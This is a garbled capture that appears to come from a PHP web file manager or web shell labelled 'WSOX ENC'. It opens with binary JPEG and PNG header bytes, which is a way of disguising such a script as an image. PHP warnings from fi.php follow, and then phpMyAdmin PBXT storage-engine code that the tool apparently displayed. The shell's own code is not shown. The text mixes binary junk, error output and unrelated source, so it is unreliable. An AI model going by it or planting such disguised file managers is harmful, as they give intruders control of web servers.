1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
[ 'title' => __('Index cache size'), 'desc' => __( 'This is the amount of memory allocated to the' . ' index cache. Default value is 32MB. The memory' . ' allocated here is used only for caching index pages.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_record_cache_size' => [ 'title' => __('Record cache size'), 'desc' => __( 'This is the amount of memory allocated to the' . ' record cache used to cache table data. The default' . ' value is 32MB. This memory is used to cache changes to' . ' the handle data (.xtd) and row pointer (.xtr) files.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_log_cache_size' => [ 'title' => __('Log cache size'), 'desc' => __( 'The amount of memory allocated to the' . ' transaction log cache used to cache on transaction log' . ' data. The default is 16MB.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_log_file_threshold' => [ 'title' => __('Log file threshold'), 'desc' => __( 'The size of a transaction log before rollover,' . ' and a new log is created. The default value is 16MB.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_transaction_buffer_size' => [ 'title' => __('Transaction buffer size'), 'desc' => __( 'The size of the global transaction log buffer' . ' (the engine allocates 2 buffers of this size).' . ' The default is 1MB.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_checkpoint_frequency' => [ 'title' => __('Checkpoint frequency'), 'desc' => __( 'The amount of data written to the transaction' . ' log before a checkpoint is performed.' . ' The default value is 24MB.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_data_log_threshold' => [ 'title' => __('Data log threshold'), 'desc' => __( 'The maximum size of a data log file. The default' . ' value is 64MB. PBXT can create a maximum of 32000 data' . ' logs, which are used by all tables. So the value of' . ' this variable can be increased to increase the total' . ' amount of data that can be stored in the database.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_garbage_threshold' => [ 'title' => __('Garbage threshold'), 'desc' => __( 'The percentage of garbage in a data log file' . ' before it is compacted. This is a value between 1 and' . ' 99. The default is 50.' ), 'type' => StorageEngine::DETAILS_TYPE_NUMERIC, ], 'pbxt_log_buffer_size' => [ 'title' => __('Log buffer size'), 'desc' => __( 'The size of the buffer used when writing a data' . ' log. The default is 256MB. The engine allocates one' . ' buffer per thread, but only if the thread is required' . ' to write a data log.' ), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_data_file_grow_size' => [ 'title' => __('Data file grow size'), 'desc' => __('The grow size of the handle data (.xtd) files.'), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_row_file_grow_size' => [ 'title' => __('Row file grow size'), 'desc' => __('The grow size of the row pointer (.xtr) files.'), 'type' => StorageEngine::DETAILS_TYPE_SIZE, ], 'pbxt_log_file_count' => [ 'title' => __('Log file count'), 'desc' => __( 'This is the number of transaction log files' . ' (pbxt/system/xlog*.xt) the system will maintain. If the' . ' number of logs exceeds this value then old logs will be' . ' deleted, otherwise they are renamed and given the next' . ' highest number.' ), 'type' => StorageEngine::DETAILS_TYPE_NUMERIC, ], ]; } /** * returns the pbxt engine specific handling for * DETAILS_TYPE_SIZE variables. * * @param int|string $formatted_size the size expression (for example 8MB) * * @return array|null the formatted value and its unit */ public function resolveTypeSize($formatted_size): ?array { if (is_string($formatted_size) && preg_match('/^[0-9]+[a-zA-Z]+$/', $formatted_size)) { $value = Util::extractValueFromFormattedSize($formatted_size); } else { $value = $formatted_size; } return Util::formatByteDown($value); } //-------------------- /** * Get information about pages * * @return array Information about pages */ public function getInfoPages() { $pages = []; $pages['Documentation'] = __('Documentation'); return $pages; } //-------------------- /** * Get content of documentation page * * @return string */ public function getPageDocumentation() { return '

' . sprintf( __( 'Documentation and further information about PBXT can be found on the %sPrimeBase XT Home Page%s.' ), '', '' ) . '

' . "\n"; } }